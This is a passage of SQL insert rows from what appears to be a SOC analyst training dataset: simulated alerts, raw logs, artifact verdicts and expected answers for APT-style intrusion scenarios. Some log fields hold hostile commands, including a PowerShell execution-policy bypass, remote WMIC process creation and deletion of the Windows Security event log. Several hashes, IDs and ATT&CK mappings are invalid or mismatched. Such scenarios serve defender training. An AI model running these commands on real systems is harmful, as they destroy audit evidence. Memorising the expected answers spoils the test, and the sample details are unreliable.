'Beginner', 'EDR', 1, 0, 'GOVERNMENT'),
(318, 'Excessive Login Failures from Known Internal Host', 'low', 'Wazuh', 'Multiple failed login attempts were detected from an internal IP address. The activity was flagged due to a high number of failures, but the source is an internal, known host.', 'Brute Force', 'T1110', 0, 'Closed', 54, '{\"timestamp\":\"2026-01-02T09:15:47Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"192.168.1.100\",\"username\":\"admin\",\"hostname\":\"internal-server\",\"failed_attempts\":15}', '2026-01-02 19:25:21', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"internal\",\"details\":\"Internal network address, no external reports\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"clean\",\"details\":\"Commonly used internal admin account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures originate from an internal IP address, indicating a potential misconfiguration or user error rather than a malicious attempt.\"}', 'Beginner', 'NULL', 1, 0, NULL),
(319, 'Suspicious Email Detected', 'high', 'Email Gateway', 'APT10 begins the attack by sending spear-phishing emails to key employees of TechGlobal Inc., enticing them to click on a malicious link disguised as a legitimate business document.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:32:00Z\",\"email_id\":\"d3f4b5c6-7e89-4abc-de12-34567890fghj\",\"sender\":\"attacker@maliciousdomain.com\",\"recipient\":\"jane.doe@techglobal.com\",\"subject\":\"Important Business Document\",\"attachment\":\"Invoice_2023.pdf\",\"attachment_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"source_ip\":\"203.0.113.5\",\"internal_ip\":\"192.168.1.45\",\"url\":\"http://maliciousdomain.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"smtp_server\":\"smtp.techglobal.com\"}', '2026-01-02 20:23:41', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash is associated with malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address involved in multiple phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Inspection Service\",\"verdict\":\"malicious\",\"details\":\"URL is associated with phishing activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"Invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Name Patterns\",\"verdict\":\"suspicious\",\"details\":\"Common filename used in phishing emails.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(320, 'Unauthorized Application Execution', 'high', 'EDR', 'Following successful credential harvesting, the attacker uses the compromised accounts to execute malware on the target network, enabling remote access and further exploitation.', 'Malware', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:28:32Z\",\"event_id\":\"4624\",\"computer_name\":\"workstation-22.corp.local\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.57\",\"destination_ip\":\"10.0.0.45\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_name\":\"malicious_script.ps1\",\"action\":\"Create Process\"}', '2026-01-02 20:23:41', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Compromised user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(321, 'Persistence Mechanism Installed', 'high', 'Endpoint Security Logs', 'APT10 installed a persistence mechanism via registry modifications and scheduled tasks on the endpoint, ensuring continued access to the compromised systems. Detection of suspicious registry changes and scheduled tasks was noted.', 'Persistence', 'T1547', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:37:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.2.15\",\"username\":\"jdoe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"filename\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_type\":\"RegistryModification\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"process_name\":\"regedit.exe\"}', '2026-01-02 20:23:41', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"Known APT10 command and control server.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\ScheduledTaskMalware\",\"is_critical\":true,\"osint_result\":{\"source\":\"EndpointSecurity\",\"verdict\":\"malicious\",\"details\":\"Malicious scheduled task linked to persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware variant.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalDirectory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(322, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'With a foothold established, the attacker moves laterally within the network, using legitimate administrative tools to avoid detection while searching for valuable data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:25:36Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"192.168.1.150\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"admin_jdoe\",\"used_tool\":\"wmic\",\"command\":\"wmic /node:192.168.1.150 process call create \'cmd.exe /c whoami\'\",\"file_hash\":\"3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\",\"detected_protocol\":\"SMB\",\"log_type\":\"network_traffic\"}', '2026-01-02 20:23:41', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of potential compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address targeted for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Known administrative account used in lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3f1d0f1e2a2b3c4d5e6f7a8b9c0d1e2f3g4h5i6j\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash of a tool commonly used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(323, 'Data Exfiltration Attempt', 'high', 'Firewall Logs', 'APT10 attempts to exfiltrate the gathered data using encrypted channels to evade detection by security mechanisms, completing their operation.', 'Exfiltration', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:16Z\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"action\":\"allow\",\"bytes_sent\":10485760,\"username\":\"internal_user\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filenames\":[\"confidential_data.zip\"],\"firewall_rule\":\"Allow_HTTPS_Traffic\",\"geo_location\":\"External - United States\",\"alerts\":[\"Large data transfer detected\",\"Suspicious outbound connection\"]}', '2026-01-02 20:23:41', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT10.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash seen in recent malware campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Filename suggests sensitive data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(324, 'Suspicious Network Traffic Detected', 'high', 'Firewall Logs', 'Unusual outbound traffic patterns detected from the enterprise firewall, possibly indicating unauthorized access attempts. The traffic originates from an internal IP and targets an external IP known for hosting malicious content. This activity suggests the initial access phase of an intrusion operation.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:25:30Z\",\"firewall_id\":\"FW123456\",\"src_ip\":\"10.0.5.23\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"src_port\":44321,\"dst_port\":8080,\"action\":\"allowed\",\"username\":\"jdoe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"suspicious_payload.exe\",\"bytes_out\":10240,\"bytes_in\":2048}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"External IP associated with known malicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Username of the suspected compromised account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"Hash related to a suspicious file payload.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"suspicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File name indicative of malicious activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(325, 'Malicious Firmware Update Detected', 'critical', 'Firewall Management Console', 'A rogue firmware update was installed on the firewall, allowing the attacker to execute code at a low level. Immediate action is required to mitigate potential threats.', 'Execution', 'T1496', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_type\":\"firmware_update\",\"source_ip\":\"185.143.223.91\",\"destination_ip\":\"192.168.1.1\",\"user\":\"admin\",\"firmware_version\":\"v5.3.2\",\"action\":\"update_executed\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"update_file\":\"firmware_update_v5.3.2.bin\",\"status\":\"completed\",\"message\":\"Firmware update executed successfully. No errors reported.\",\"suspicious_indicators\":{\"source_ip\":\"185.143.223.91\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.91\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous targeted attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal firewall device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash belongs to a known malicious firmware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"firmware_update_v5.3.2.bin\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Repository\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used in attacks.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(326, 'Persistence Mechanism Established', 'critical', 'Firmware Integrity Checks', 'The implant modifies the SPI flash memory, embedding itself to persist through reboots. This ensures the implant survives reboots and OS re-installations.', 'Persistence', 'T1105: Ingress Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:08Z\",\"event_id\":\"FW-INT-CHK-2023\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"detected_hash\":\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\",\"modified_firmware\":\"/dev/mtd0\",\"username\":\"admin\",\"alert_message\":\"Firmware integrity check failed. Unauthorized modification detected in SPI flash memory.\",\"severity\":\"Critical\",\"protocol\":\"SPI\",\"action_taken\":\"None\",\"firmware_version\":\"v1.4.3\"}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f2b3df5b9e3c6d6b8c2e9a1f4b8d7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known firmware backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"/dev/mtd0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Critical firmware storage location.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Authentication Logs\",\"verdict\":\"clean\",\"details\":\"Standard administrative account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
(327, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'The attacker uses the compromised firewall to probe internal network components, seeking further access.', 'Lateral Movement', 'T1021', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.1.1.5\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":3389,\"action\":\"allowed\",\"username\":\"compromised_user\",\"filename\":\"malicious_payload.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_id\":\"1001\",\"message\":\"Suspicious lateral movement detected from compromised firewall to internal systems.\"}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with multiple attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a critical server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account showing unusual activity.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File identified as malware by multiple antivirus engines.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"SHA256 Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'NULL', 1, 0, NULL),
(328, 'Command and Control Channel Established', 'high', 'Network Intrusion Detection System', 'Encrypted traffic is observed between the compromised firewall and an external server, indicating active C2 communication.', 'C2 Communication', 'T1071.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:07Z\",\"source_ip\":\"10.0.5.23\",\"destination_ip\":\"203.0.113.45\",\"source_port\":443,\"destination_port\":8080,\"protocol\":\"TLS\",\"session_id\":\"3f4e1ab7c9d4\",\"encrypted_bytes\":1520,\"decrypted_bytes\":0,\"tls_version\":\"TLS 1.2\",\"cipher_suite\":\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\",\"host\":\"compromised-firewall.local\",\"username\":\"jdoe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_id\":\"C2-2023-0005\",\"malware_family\":\"APT29\",\"indicators\":[{\"type\":\"ip\",\"value\":\"203.0.113.45\"},{\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\"},{\"type\":\"username\",\"value\":\"jdoe\"}]}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT29 malware.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(329, 'Data Exfiltration Attempt Detected', 'high', 'Data Loss Prevention System', 'Data packets containing sensitive information are detected being sent to an external IP address.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:37Z\",\"event_id\":\"EXF-20231015-002\",\"internal_ip\":\"192.168.1.25\",\"external_ip\":\"203.0.113.45\",\"filename\":\"confidential_report.pdf\",\"user\":\"jdoe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"action\":\"blocked\",\"description\":\"Attempted data exfiltration detected and blocked by DLP system.\"}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal inventory\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal inventory\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive information\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"File hash linked to suspicious activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(330, 'Privilege Escalation Detected', 'high', 'Access Logs', 'Unauthorized attempts to escalate privileges within the network were detected, indicating that the attacker is attempting to gain elevated access.', 'Privilege Escalation', 'T1068', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"username\":\"john_doe\",\"attempted_privilege\":\"Administrator\",\"previous_privilege\":\"Standard User\",\"process\":\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"hash\":\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\",\"status\":\"Failed\",\"message\":\"Privilege escalation attempt detected for user john_doe from IP 203.0.113.45.\"}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal host IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account involved in previous suspicious activities.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a3f5c3d4b8e5f6a7d9e8c1b7a9f0c8b7\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash identified as part of a known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(331, 'Attempt to Cover Tracks Detected', 'high', 'Log Monitoring System', 'An advanced attack has been detected where log files are being tampered with, indicating an attempt to erase evidence of an attack.', 'Defense Evasion', 'T1070.004 - File Deletion', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"event_id\":\"4625\",\"system\":{\"hostname\":\"server01.internal.local\",\"ip_address\":\"192.168.1.15\"},\"user\":{\"username\":\"attacker_user\",\"user_id\":\"S-1-5-21-3623811015-3361044348-30300820-1013\"},\"action\":\"Delete\",\"target_file\":\"C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\",\"process\":{\"name\":\"cmd.exe\",\"id\":\"5604\",\"command_line\":\"cmd.exe /c del C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\\\\Security.evtx\"},\"network\":{\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"protocol\":\"TCP\",\"port\":\"445\"},\"hash\":{\"algorithm\":\"SHA256\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-01-02 20:29:44', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with multiple attack campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected for this 